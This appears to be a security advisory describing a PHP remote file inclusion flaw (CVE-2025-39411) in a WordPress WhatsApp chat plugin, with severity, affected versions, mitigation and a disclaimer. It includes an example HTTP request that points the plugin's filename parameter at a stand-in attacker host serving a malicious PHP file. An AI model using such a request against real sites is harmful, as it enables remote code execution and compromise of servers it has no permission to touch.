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CVE-2025-39411: PHP Remote File Inclusion Vulnerability in Indie_Plugins WhatsApp Click to Chat Plugin for WordPress

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Overview

This report discusses CVE-2025-39411, a significant vulnerability in the Indie_Plugins WhatsApp Click to Chat Plugin for WordPress. This vulnerability, stemming from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), leaves systems open to potential compromise and data leakage. It is particularly worrisome due to the popularity and widespread use of WordPress plugins.

Vulnerability Summary

CVE ID: CVE-2025-39411
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

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Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.

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Product | Affected Versions

Indie_Plugins WhatsApp Click to Chat Plugin for WordPress | n/a through 2.2.12

How the Exploit Works

The vulnerability arises from the improper control of filename for Include/Require Statement in a PHP Program. An attacker can manipulate the filename, leading to the remote inclusion of files from external servers. This allows for arbitrary code execution on the server side, which can result in a system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This does not represent an actual exploit code but serves to illustrate the concept.

POST /wp-content/plugins/whatsapp-click-to-chat/filename.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
filename=http://malicious.example.com/malicious_file.php

In the above example, an attacker sends a POST request to the vulnerable endpoint, specifying a malicious PHP file hosted on their server as the filename. The server then includes this file and executes the malicious code.

Mitigation

As of now, the best way to mitigate this vulnerability is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. This should, however, be considered a temporary solution until the patch can be applied.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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